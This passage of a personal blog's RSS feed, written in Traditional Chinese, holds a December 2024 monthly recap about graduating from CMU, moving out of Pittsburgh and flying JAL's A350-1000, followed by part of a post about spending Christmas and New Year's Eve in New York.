]]></content:encoded><category>🍫 生活</category><guid isPermaLink="false">once-upon-a-tome</guid><pubDate>Fri, 24 Jan 2025 13:03:27 +0800</pubDate></item><item><title>2024 年 12 月報報</title><link>https://blog.tomy.me/zh-tw/posts/2024-december-dump/</link><description/><content:encoded><![CDATA[<p>這個月不單單只是 2024 的尾聲，也是我在 CMU 的最後一個月，或者更廣義的來說：我作為學生最後的時光。月中考完期末考幾乎是沒什麼休息就匆匆開始收東西、搬家，所以寫這篇部落格的現在好像反而還比離開的當下還更感傷。</p>
<p>聽起來好像有點難過，但畢竟作業 &gt;&gt;&gt;&gt;&gt; 一切的生活總算是結束了，而且畢業本來就值得高興 (或者說慶幸 (X)，所以還是挺開心的。</p>
<h2 id="-cmu-掰掰" class="relative group">🎓 CMU 掰掰 </h2><p>我想要在此感謝我畢業專題的組員，讓我的最後一個學期的痛苦少了不少，甚至還多了些歡樂，特別是我們的組長 Akilesh，要不是有辦在 Smoking bar 的 Team Building，我大概半路就會放推這個專題了吧</p>


  
  
  
  
  
  
    
    
  
  <figure>
    

    
      





  
  <picture  class="rounded-md max-h-96 mx-auto" >
    <img
      src="https://img.tomy.me/blog/2024-december-dump/badge-manager-email.jpg"
      class="rounded-md max-h-96 mx-auto"
      alt="一封包含證書以及告別感言的 Email"
      loading="lazy" decoding="async"
    />
  </picture>


    <figcaption class="text-center">我們的最後報告是現場 Demo 發 Email 給在場所有的同學及評審教授<br/>這功能甚至是我在最後三天肝出來的 🙃</figcaption>
  </figure>


<p>但成果我很滿意，也算是呼應了 CMU 的格言：My heart is in the work. 🫶🏻</p>


  
  
  
  
  
  
    
    
  
  <figure>
    

    
      





  
  <picture  class="rounded-md max-h-96 mx-auto" >
    <img
      src="https://img.tomy.me/blog/2024-december-dump/walking-to-the-sky-in-show.jpg"
      class="rounded-md max-h-96 mx-auto"
      alt="在大雪中的 Walking to the Sky"
      loading="lazy" decoding="async"
    />
  </picture>


    <figcaption class="text-center">我想我是會懷念漫步在雪中的校園的吧 (僅限懷念)</figcaption>
  </figure>


<h2 id="-匹茲堡掰掰" class="relative group">🖤💛 匹茲堡掰掰 </h2><p>本著上個月設定的目標，期末完要好好再玩一下匹茲堡。</p>
<p>雖然原本的想像是兩天把搬家的事情全部搞定，然後就有完整的一個禮拜可以玩匹茲堡。但最後還是搞到離開前幾天才算是把東西收到一個樣子，真的是完美體現了帕金森定律 (?)</p>
<p>







  
  
<figure>
  
    





  
  <picture  class="mx-auto my-0 rounded-md" >
    <img
      src="https://img.tomy.me/blog/2024-december-dump/andy-warhol-hug.jpg"
      class="mx-auto my-0 rounded-md"
      alt="兩隻 KAWS 的雕像在雪中擁抱"
      loading="lazy" decoding="async"
    />
  </picture>

<figcaption class="text-center">但還是抓緊僅剩的時間再去了一次 Andy Warhol 美術館。最近剛好是跟 KAWS 的聯名展</figcaption>
</figure>
</p>


<div class="flex flex-wrap md:flex-nowrap items-center gap-4">
  


  
  
  
  
  
  
    
    
  
  <figure>
    

    
      





  
  <picture  class="mx-auto my-0 rounded-md mx-1" >
    <img
      src="https://img.tomy.me/blog/2024-december-dump/the-parlor-dim-sum.jpg"
      class="mx-auto my-0 rounded-md mx-1"
      
      loading="lazy" decoding="async"
    />
  </picture>


    
  </figure>




  
  
  
  
  
  
    
    
  
  <figure>
    

    
      





  
  <picture  class="mx-auto my-0 rounded-md mx-1" >
    <img
      src="https://img.tomy.me/blog/2024-december-dump/butterjoint.jpg"
      class="mx-auto my-0 rounded-md mx-1"
      
      loading="lazy" decoding="async"
    />
  </picture>


    
  </figure>



</div>


<figcaption class="text-center">還吃了匹茲堡難得少見的港式餐廳 The Parlor Dim Sum，還有幾乎每天經過但從來沒吃過的 Butterjoint</figcaption>


<div class="flex flex-wrap md:flex-nowrap items-center gap-4">
  


  
  
  
  
  
  
    
    
  
  <figure>
    

    
      





  
  <picture  class="mx-auto my-0 rounded-md mx-1" >
    <img
      src="https://img.tomy.me/blog/2024-december-dump/amberson-plaza-full.jpg"
      class="mx-auto my-0 rounded-md mx-1"
      alt="佈置完整的房間"
      loading="lazy" decoding="async"
    />
  </picture>


    
  </figure>




  
  
  
  
  
  
    
    
  
  <figure>
    

    
      





  
  <picture  class="mx-auto my-0 rounded-md mx-1" >
    <img
      src="https://img.tomy.me/blog/2024-december-dump/amberson-plaza-empty.jpg"
      class="mx-auto my-0 rounded-md mx-1"
      alt="空蕩蕩的房間"
      loading="lazy" decoding="async"
    />
  </picture>


    
  </figure>



</div>


<figcaption class="text-center">房間一清空之後，瞬間回想起去年剛搬進來，趴在地毯上邊寫 ICS 最後一份 project 邊等床送來的那段時光</figcaption>
<h2 id="-紐約" class="relative group">🗽 紐約 </h2><p>搬家完馬上接著的是 10 天的紐約行！</p>
<p>說起來奇怪，作為許多人來美國玩第一個會想造訪的地方，我至今從來都沒有來過，甚至連轉機都沒有，結果第一次來就一路從聖誕節待到跨年，應該算是體驗值最高的玩法了吧。</p>
<p>紐約有太多好玩的事情，這裡就不多提了，有興趣右轉<a href="/zh-tw/posts/new-york/">這裡</a>。</p>
<p>還有看了一齣百老匯的音樂劇：<a href="/zh-tw/posts/sunset-boulevard/">Sunset Boulevard</a> 也有一篇心得文。</p>
<h2 id="-a350-1000" class="relative group">✈️ A350-1000 </h2><p>簡短交代一下這次的返台計劃：我們學校是 12 月初考完期末考就直接開始放假，一路放到 1 月中開學，去年雖然沒有特別想回台灣放假，但因為大部分的同學都會離開匹茲堡，所以我也選擇早早回台灣放假。今年比較不一樣的是，因為之後畢業就不會再回來了，再加上工作的開始的日期可以自己跟公司談，可以放更長的假，所以就沒有急著馬上回來，想說趁著這個機會多玩一趟再回來。</p>
<p>也因為有這個打算，我早早就開始看不同地方的機票，在某個票價的低點買了去紐約和從紐約回台灣的機票。當時買回台灣的機票是 ANA 的，JFK → 羽田 → 松山，其實是非常舒服的行程，因為飛的時間很漂亮，時差很好調<sup id="fnref:1"><a href="#fn:1" class="footnote-ref" role="doc-noteref">1</a></sup>，而且中間的轉機剛好有 25 個小時的時間夠我進東京市區玩一天再舒服的睡一覺起來搭飛機，回台灣又是在松山，搭文湖線就到家了，不用在桃機人擠人。</p>
<p>但其實這並不是我的首選，我的首選是空巴剛交付給 JAL 的全新 <a href="https://www.jal.co.jp/en/inter/A350-1000/" target="_blank" rel="noreferrer">A350-1000<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a>，因為這批新機的首發就是就是紐約 ↔︎ 東京這條旗艦航線。所以雖然我前面機票已經買好了，但我還是時不時會上 Google Flight 上看這條航線的價格<sup id="fnref:2"><a href="#fn:2" class="footnote-ref" role="doc-noteref">2</a></sup>，只要降到低於我預先設定的價格，我就出手改機票。</p>
<p>欸？結果還真的給我蹲到一個 ~$500 的價格 (大驚</p>
<blockquote
      class="text-post-media"
      data-text-post-permalink="https://www.threads.net/tomy0000000/post/DCpNvlbP1Kt"
      data-text-post-version="0"
      id="ig-tp-DCpNvlbP1Kt"
      style="
        background: #fff;
        border-width: 1px;
        border-style: solid;
        border-color: #00000026;
        border-radius: 16px;
        max-width: 540px;
        margin: 1px;
        min-width: 270px;
        padding: 0;
        width: 99.375%;
        width: -webkit-calc(100% - 2px);
        width: calc(100% - 2px);
      "
    >
      <a
        href="https://www.threads.net/tomy0000000/post/DCpNvlbP1Kt"
        style="
          background: #ffffff;
          line-height: 0;
          padding: 0 0;
          text-align: center;
          text-decoration: none;
          width: 100%;
          font-family: -apple-system, BlinkMacSystemFont, sans-serif;
        "
        target="_blank"
      >
        <div
          style="
            padding: 40px;
            display: flex;
            flex-direction: column;
            align-items: center;
          "
        >
          <div
            style="display: block; height: 32px; width: 32px; padding-bottom: 20px"
          >
            <svg
              aria-label="Threads"
              height="32px"
              role="img"
              viewBox="0 0 192 192"
              width="32px"
              xmlns="http://www.w3.org/2000/svg"
            >
              <path
                d="M141.537 88.9883C140.71 88.5919 139.87 88.2104 139.019 87.8451C137.537 60.5382 122.616 44.905 97.5619 44.745C97.4484 44.7443 97.3355 44.7443 97.222 44.7443C82.2364 44.7443 69.7731 51.1409 62.102 62.7807L75.881 72.2328C81.6116 63.5383 90.6052 61.6848 97.2286 61.6848C97.3051 61.6848 97.3819 61.6848 97.4576 61.6855C105.707 61.7381 111.932 64.1366 115.961 68.814C118.893 72.2193 120.854 76.925 121.825 82.8638C114.511 81.6207 106.601 81.2385 98.145 81.7233C74.3247 83.0954 59.0111 96.9879 60.0396 116.292C60.5615 126.084 65.4397 134.508 73.775 140.011C80.8224 144.663 89.899 146.938 99.3323 146.423C111.79 145.74 121.563 140.987 128.381 132.296C133.559 125.696 136.834 117.143 138.28 106.366C144.217 109.949 148.617 114.664 151.047 120.332C155.179 129.967 155.42 145.8 142.501 158.708C131.182 170.016 117.576 174.908 97.0135 175.059C74.2042 174.89 56.9538 167.575 45.7381 153.317C35.2355 139.966 29.8077 120.682 29.6052 96C29.8077 71.3178 35.2355 52.0336 45.7381 38.6827C56.9538 24.4249 74.2039 17.11 97.0132 16.9405C119.988 17.1113 137.539 24.4614 149.184 38.788C154.894 45.8136 159.199 54.6488 162.037 64.9503L178.184 60.6422C174.744 47.9622 169.331 37.0357 161.965 27.974C147.036 9.60668 125.202 0.195148 97.0695 0H96.9569C68.8816 0.19447 47.2921 9.6418 32.7883 28.0793C19.8819 44.4864 13.2244 67.3157 13.0007 95.9325L13 96L13.0007 96.0675C13.2244 124.684 19.8819 147.514 32.7883 163.921C47.2921 182.358 68.8816 191.806 96.9569 192H97.0695C122.03 191.827 139.624 185.292 154.118 170.811C173.081 151.866 172.51 128.119 166.26 113.541C161.776 103.087 153.227 94.5962 141.537 88.9883ZM98.4405 129.507C88.0005 130.095 77.1544 125.409 76.6196 115.372C76.2232 107.93 81.9158 99.626 99.0812 98.6368C101.047 98.5234 102.976 98.468 104.871 98.468C111.106 98.468 116.939 99.0737 122.242 100.233C120.264 124.935 108.662 128.946 98.4405 129.507Z"
              />
            </svg>
          </div>
          <div
            style="
              font-size: 15px;
              line-height: 21px;
              color: #999999;
              font-weight: 400;
              padding-bottom: 4px;
            "
          >
            Post by tomy0000000
          </div>
          <div
            style="
              font-size: 15px;
              line-height: 21px;
              color: #000000;
              font-weight: 600;
            "
          >
            View on Threads
          </div>
        </div></a
      >
    </blockquote>
    
    <script async src="https://www.threads.net/embed.js"></script>
<figcaption>於是就有了這篇意外 (微) 飄出去的脆文 XDDDD 在此發誓，上面的文句句屬實，除了沒交代我是為了搭新飛機改的部分 😂</figcaption>
<p>







  
  
<figure>
  
    





  
  <picture  class="mx-auto my-0 rounded-md" >
    <img
      src="https://img.tomy.me/blog/2024-december-dump/jal-a350-1000.jpg"
      class="mx-auto my-0 rounded-md"
      alt="日本航空的 A350-1000"
      loading="lazy" decoding="async"
    />
  </picture>

<figcaption class="text-center">那這就是我這次搭的 A350-1000<br/>從航廈正面拍不到，但他的側面是有<a href="https://www.planespotters.net/airframe/airbus-a350-1000-ja02wj-japan-airlines/e5z1kg" target="_blank" rel="noreferrer">特殊塗裝<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a>的</figcaption>
</figure>
</p>
<p>







  
  
<figure>
  
    





  
  <picture  class="mx-auto my-0 rounded-md" >
    <img
      src="https://img.tomy.me/blog/2024-december-dump/jal-a350-screen.jpg"
      class="mx-auto my-0 rounded-md"
      alt="13 吋的大螢幕"
      loading="lazy" decoding="async"
    />
  </picture>


</figure>
</p>
<p>雖然照片看不太出來，但這塊螢幕有 13 吋，比 iPad Pro 還大，而且可以配對自己的藍牙耳機，拿來看電影超爽。右下角還有一個有點類似 (前) MacBook Pro Touch Bar 的迷你螢幕，在看影片的時候是媒體控制介面，<a href="jal-a350-screen-dark.jpg">螢幕關閉的時候會顯示飛行的進度條</a>，對像我這種睡一覺起來會不知道剛才睡了多久的人來說超級實用 👍🏻</p>


<div class="flex flex-wrap md:flex-nowrap items-center gap-4">
  


  
  
  
  
  
  
    
    
  
  <figure>
    

    
      





  
  <picture  class="mx-auto my-0 rounded-md mx-1" >
    <img
      src="https://img.tomy.me/blog/2024-december-dump/jal-a350-meal-1.jpg"
      class="mx-auto my-0 rounded-md mx-1"
      alt="豐盛的第一餐，有涼麵、蛋沙拉、鮭魚沙拉、水果、味噌湯、咖喱豬排飯還有哈根達斯冰淇淋"
      loading="lazy" decoding="async"
    />
  </picture>


    
  </figure>




  
  
  
  
  
  
    
    
  
  <figure>
    

    
      





  
  <picture  class="mx-auto my-0 rounded-md mx-1" >
    <img
      src="https://img.tomy.me/blog/2024-december-dump/jal-a350-meal-2.jpg"
      class="mx-auto my-0 rounded-md mx-1"
      alt="用鋁箔紙包裝的煙燻肉三明治配 Chobani 草莓優格"
      loading="lazy" decoding="async"
    />
  </picture>


    
  </figure>



</div>


<p>這班飛機有供兩份餐，我相信大家應該可以看的出來這兩份餐各出自哪一國的空廚，我就不說了：）最大的亮點是飲料有日航限定的葡萄 + 水蜜桃特調果汁，算一算這一趟應該喝了至少 10 杯 😂</p>
<p>結論：日航真的爽，每次日本，每次爽。現在回來反而開始有點擔心以後會不會回不去廉航了 🤔</p>
<h2 id="-本月目標回顧" class="relative group">🎯 本月目標回顧 </h2><ul>
<li>✅ 早點睡：雖然都還是搞到 1, 2 點才睡，但總比原本的 5 點好一點 (?)</li>
<li>🟡 離開匹茲堡前再多探索一下這座城市：勉強算啦，雖然原本是計劃要再多去一些地方，但光搞搬家就夠累了 QQ</li>
<li>✅ 認真結算一下來美國至今燒了多少錢：差不多是算完了，之後有機會再分享</li>
</ul>
<h2 id="-下個月的目標" class="relative group">🎯 下個月的目標 </h2><p>笑死這篇文寫完 1 月都過一半了。</p>
<p>之前報報都是因為忙所以很晚才寫，這個月反而是太多東西好寫，所以不想草草的趕著寫完，覺得這樣挺好的，就沒急著寫了。</p>
<p>也剛好最近回來台灣會待到 2/7，所以這次訂的目標更像是在決定回美國前要完成些什麼事</p>
<ol>
<li>Roadmap 我的 2025：今年應該是會挺 chill 的<sup id="fnref:3"><a href="#fn:3" class="footnote-ref" role="doc-noteref">3</a></sup>，不准再像 2024 一樣亂七八糟 🙅🏻</li>
<li>K MVP：Project K 是一個我擱置好幾年的 Side Project，最近比較有空了，有撿回來復盤然後重新開始，不出意外的話應該可以至少在過完年之後完成 <abbr title="Minimum Viable Product 最小可行性產品">MVP</abbr>，然後正式開始使用</li>
<li>扣掉 2024 回顧 + 2025 展望，另外寫 2 篇文章</li>
</ol>
<hr>
<p>原本以為把紐約拉出去寫，這篇應該篇幅會小很多，怎麼還是莫名其妙的越寫越多：）</p>
<p>總之，亂七八糟的 2024 結束了，真是漫長的一年 (汗)。感謝大家的支持與愛護，2025 報報應該會改版，那就到時候再見啦！</p>
<div class="footnotes" role="doc-endnotes">
<hr>
<ol>
<li id="fn:1">
<p>Well 其實時差對我來說從來不是問題 但你知道我的意思&#160;<a href="#fnref:1" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:2">
<p>也作為寫資料庫專題的休息時間的消遣&#160;<a href="#fnref:2" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:3">
<p>雖然是客觀現實，但希望這不是 flag 🤞🏻🤞🏻🤞🏻&#160;<a href="#fnref:3" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
</ol>
</div>
]]></content:encoded><category>🍫 生活</category><guid isPermaLink="false">2024-december-dump</guid><pubDate>Fri, 17 Jan 2025 21:31:50 +0800</pubDate></item><item><title>🇺🇸 紐約</title><link>https://blog.tomy.me/zh-tw/posts/new-york/</link><description>大蘋果，世界首都，宇宙的中心 (?)</description><content:encoded><![CDATA[<p>啊！紐約！</p>
<p>作為許多美國觀光客必訪的第一站，我反而拖到來美國一年多了才造訪紐約。一半是剛好台灣到匹茲堡順路 (或者更準確的來說：便宜) 的班機幾乎都是在西岸轉機，不會經過，另一方面也是我對這座城市抱著高度的期待，想騰出一段很長的時間來慢慢探索，所以也就一直拖到了畢業才真的有一大段空閒的假期可以安排這趟紐約行。</p>
<p>也剛好，這會是我第一次在台灣以外的地方過聖誕節和跨年，紐約大概也是美國 (甚至加上歐洲) 最適合過節的地方了吧。那就一起來看看紐約的聖誕節吧！</p>
<p>在開始之前，先來首<a href="https://www.youtube.com/watch?v=le1QF3uoQNg" target="_blank" rel="noreferrer">主題曲<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a>吧！</p>
<h2 id="-聖誕樹--市集" class="relative group">🎄 聖誕樹 + 市集 </h2><p>就算不是市集，各種商店、大樓裡也有各式各樣的聖誕樹，而且都沒在讓的，每棵都又大又漂亮，幾乎可以舉辦聖誕樹的選美比賽 (X)</p>
<p>







  
  
<figure>
  
    





  
  <picture  class="mx-auto my-0 rounded-md" >
    <img
      src="https://img.tomy.me/blog/new-york/radio-city-rockettes.jpg"
      class="mx-auto my-0 rounded-md"
      alt="Radio City Rockettes 劇院的門口有棵超大聖誕樹"
      loading="lazy" decoding="async"
    />
  </picture>

<figcaption class="text-center">Radio City Rockettes 自 1933 年開始，聖誕節都會固定上演 Christmas Spectacular，是一個包含音樂、舞蹈等各種表演，闔家歡樂的綜合秀，是經典的紐約聖誕節節目，也包含門口這顆巨無霸聖誕樹。</figcaption>
</figure>
</p>


<div class="flex flex-wrap md:flex-nowrap items-center gap-4">
  


  
  
  
  
  
  
    
    
  
  <figure>
    

    
      





  
  <picture  class="mx-auto my-0 rounded-md mx-1" >
    <img
      src="https://img.tomy.me/blog/new-york/bryant-park-frozen-fountain.jpg"
      class="mx-auto my-0 rounded-md mx-1"
      alt="結凍的噴水池"
      loading="lazy" decoding="async"
    />
  </picture>


    
  </figure>




  
  
  
  
  
  
    
    
  
  <figure>
    

    
      





  
  <picture  class="mx-auto my-0 rounded-md mx-1" >
    <img
      src="https://img.tomy.me/blog/new-york/bryant-park-christmas-tree.jpg"
      class="mx-auto my-0 rounded-md mx-1"
      alt="聚光燈打在聖誕市集中的聖誕樹上"
      loading="lazy" decoding="async"
    />
  </picture>


    
  </figure>



</div>


<figcaption class="text-center">忘記在哪裡看到某個紐約的傳說：<br/>如果能在聖誕節看到 Bryant Park 的噴水池結冰，明年就能幸運一整年 (?)</figcaption>
<p>聖誕市集的標準行程就是溜冰，累了就去市集買熱可可/熱紅酒，配吉拿棒或是甜到不行的糕點，最後再去繞一圈商店街，其實跟在台灣的夜市蠻像的，只是節慶的氣氛值高了不少 XDDDDD</p>
<p>







  
  
<figure>
  
    





  
  <picture  class="mx-auto my-0 rounded-md" >
    <img
      src="https://img.tomy.me/blog/new-york/bryant-park-ice-skating.jpg"
      class="mx-auto my-0 rounded-md"
      alt="民眾在 Bryant Park 的聖誕樹前溜冰"
      loading="lazy" decoding="async"
    />
  </picture>

<figcaption class="text-center">但我去年溜過了 ᕕ ( ᐛ ) ᕗ 今年就在旁邊當 chill guy 就好 XDDD</figcaption>
</figure>
</p>


<div class="flex flex-wrap md:flex-nowrap items-center gap-4">
  


  
  
  
  
  
  
    
    
  
  <figure>
    

    
      





  
  <picture  class="mx-auto my-0 rounded-md mx-1" >
    <img
      src="https://img.tomy.me/blog/new-york/world-trade-center-oculus-snowman.jpg"
      class="mx-auto my-0 rounded-md mx-1"
      alt="在世貿中心車站廣場中站著一隻雪人"
      loading="lazy" decoding="async"
    />
  </picture>


    
  </figure>




  
  
  
  
  
  
    
    
  
  <figure>
    

    
      





  
  <picture  class="mx-auto my-0 rounded-md mx-1" >
    <img
      src="https://img.tomy.me/blog/new-york/rockefeller-center-chirstmas-tree.jpg"
      class="mx-auto my-0 rounded-md mx-1"
      alt="巨大的聖誕樹座落在洛克斐勒中心廣場"
      loading="lazy" decoding="async"
    />
  </picture>


    
  </figure>




  
  
  
  
  
  
    
    
  
  <figure>
    

    
      





  
  <picture  class="mx-auto my-0 rounded-md mx-1" >
    <img
      src="https://img.tomy.me/blog/new-york/new-york-public-library-lion-with-bowtie.jpg"
      class="mx-auto my-0 rounded-md mx-1"
      alt="獅子雕像掛著聖誕花圈"
      loading="lazy" decoding="async"
    />
  </picture>


    
  </figure>



</div>


<figcaption class="text-center">由左至右：<br/>世貿中心車站廣場的雪~人胖胖<br/>洛克斐勒中心前，應該是紐約最大棵的聖誕樹<br/>紐約公共圖書館的鎮館獅王也戴上了聖誕花圈</figcaption>
<h2 id="-holiday-nostalgia-rides" class="relative group">🚂 Holiday Nostalgia Rides </h2><p>







  
  
<figure>
  
    





  
  <picture  class="mx-auto my-0 rounded-md" >
    <img
      src="https://img.tomy.me/blog/new-york/nyc-holiday-rides-car-front.jpg"
      class="mx-auto my-0 rounded-md"
      alt="R-1/9 列車"
      loading="lazy" decoding="async"
    />
  </picture>

<figcaption class="text-center">紐約交通博物館在每年聖誕節的時候，都會<a href="https://www.nytransitmuseum.org/holidaynostalgiarides/" target="_blank" rel="noreferrer">特別開行<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a> R-1/9 的懷舊列車。</figcaption>
</figure>
</p>
<p>從 1930 年代開始，所有紐約地鐵的列車型號都會直接使用採購合約的流水號，R-1 就是這個規則上路後第一批採購的列車之一，在 1940 年退役後就一直保存到現在，每年在聖誕節開出來帶大家穿越時空。</p>


<div class="flex flex-wrap md:flex-nowrap items-center gap-4">
  


  
  
  
  
  
  
    
    
  
  <figure>
    

    
      





  
  <picture  class="mx-auto my-0 rounded-md mx-1" >
    <img
      src="https://img.tomy.me/blog/new-york/nyc-holiday-rides-interior.jpg"
      class="mx-auto my-0 rounded-md mx-1"
      alt="車廂內部古色古香，還有懸吊的燈泡和旋轉風扇"
      loading="lazy" decoding="async"
    />
  </picture>


    
  </figure>




  
  
  
  
  
  
    
    
  
  <figure>
    

    
      





  
  <picture  class="mx-auto my-0 rounded-md mx-1" >
    <img
      src="https://img.tomy.me/blog/new-york/nyc-holiday-rides-passengers.jpg"
      class="mx-auto my-0 rounded-md mx-1"
      alt="民眾穿著懷舊服飾搭乘"
      loading="lazy" decoding="async"
    />
  </picture>


    
  </figure>



</div>


<figcaption class="text-center">左：連車廂內部的廣告、和設施都還保留在當年的狀態，吊扇都能正常運作<br/>右：有些人還會特別精心打扮來搭乘</figcaption>
<p>路線就是一般的地鐵路線，只要刷 OMNY 卡<sup id="fnref:1"><a href="#fn:1" class="footnote-ref" role="doc-noteref">1</a></sup>就可以直接在月台搭乘。</p>
<p>







  
  
<figure>
  
    





  
  <picture  class="mx-auto my-0 rounded-md" >
    <img
      src="https://img.tomy.me/blog/new-york/nyc-holiday-rides-conductor.jpg"
      class="mx-auto my-0 rounded-md"
      alt="列車長站在車廂中間關閉車門"
      loading="lazy" decoding="async"
    />
  </picture>

<figcaption class="text-center">「車門要關了！明年見！」</figcaption>
</figure>
</p>
<h2 id="-平安夜--聖誕夜晚餐" class="relative group">🕯️ 平安夜 + 聖誕夜晚餐 </h2><p>通常我對吃是沒什麼講究，而且自從來美國吃過無數又貴又難吃的餐廳之後，還曾發下豪語：「美國沒什麼好吃的食物。」</p>
<p>但經過這兩天，我有義務在這篇文章登報道歉：美國不是沒有好吃的食物，只是你得願意拿出很多的錢錢。</p>
<p>







  
  
<figure>
  
    





  
  <picture  class="mx-auto my-0 rounded-md" >
    <img
      src="https://img.tomy.me/blog/new-york/seared-atlantic-halibut.jpg"
      class="mx-auto my-0 rounded-md"
      alt="比目魚排配上黃色的醬"
      loading="lazy" decoding="async"
    />
  </picture>

<figcaption class="text-center">應該是我來美國吃過非亞洲食物中最好吃的一道主菜：比目魚排佐胡桃南瓜醬及葡萄醋</figcaption>
</figure>









  
  
<figure>
  
    





  
  <picture  class="mx-auto my-0 rounded-md" >
    <img
      src="https://img.tomy.me/blog/new-york/salmon-gochujang-fried-rice.jpg"
      class="mx-auto my-0 rounded-md"
      alt="鮭魚排、一小塊炒飯，背景是一杯薯條和一碗湯"
      loading="lazy" decoding="async"
    />
  </picture>

<figcaption class="text-center">就是看上去的這樣：一塊鮭魚配一塊炒飯，不到驚艷，但炒飯被魔改成西式做法居然沒有車禍，甚至帶一點清爽的口感，值得嘉許</figcaption>
</figure>
</p>
<p>突然發現像紐約這樣的大城市，有來自世界各地的民族，飲食文化本來就很多元，在這裡上餐廳吃飯簡直就像環遊世界。</p>
<h2 id="-披薩--熱狗-" class="relative group">🍕 披薩 × 熱狗 🌭 </h2><p>餐廳吃完了，當然也是有廉價食物：美國最經典的垃圾系列</p>
<p>







  
  
<figure>
  
    





  
  <picture  class="mx-auto my-0 rounded-md" >
    <img
      src="https://img.tomy.me/blog/new-york/nyc-pizza.jpg"
      class="mx-auto my-0 rounded-md"
      alt="口味種類豐富的披薩"
      loading="lazy" decoding="async"
    />
  </picture>

<figcaption class="text-center">紐約市區幾乎每走幾個街口，就有一家披薩店，至於要怎麼知道這間披薩店好不好吃？<br/>我不科學的直覺是：如果其中一個店員有小鬍子，說著帶有口音、不太俐落的英文，那通常是一個好徵兆 👍🏻</figcaption>
</figure>









  
  
<figure>
  
    





  
  <picture  class="mx-auto my-0 rounded-md" >
    <img
      src="https://img.tomy.me/blog/new-york/nyc-hot-dog.jpg"
      class="mx-auto my-0 rounded-md"
      alt="兩個包在錫箔紙中的熱狗堡，配上大量的醬料"
      loading="lazy" decoding="async"
    />
  </picture>

<figcaption class="text-center">跟芝加哥熱狗差不多，他們把這個稱作「大蕭條特餐」：兩份熱狗堡灑上大量的碎洋蔥、酸黃瓜醬、芥末醬、番茄醬，再配上一杯大可樂，堪稱 $9 能買到最多熱量的方式之一</figcaption>
</figure>
</p>
<h2 id="-sunset-boulevard" class="relative group">🌇 <em>Sunset Boulevard</em> </h2><p>來紐約當然要來百老匯看戲！</p>
<p>這次看的是 <em>Sunset Boulevard</em>，心得有點長就另外開一篇寫了，有興趣的人可以<a href="/zh-tw/posts/sunset-boulevard/">去看看</a>。</p>
<h2 id="-跨年" class="relative group">🪩 跨年 </h2><p>紐約行的最後一個行程：去時報廣場跨年！</p>
<p>去時報廣場跨年對大部分人來說可能是一個蠻糟的注意，在我跟身邊的人分享要去紐約跨年的時候，不用我主動提及，就會被大家警告：千萬不要去時報廣場跨年，因為一大早就要排隊卡位進去，在裡面站一整天無聊沒事做，只為了看一顆球緩緩降下來，俗稱 <a href="https://www.youtube.com/watch?v=-P-JBOxF6Qo" target="_blank" rel="noreferrer">Balldrop<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a>。</p>
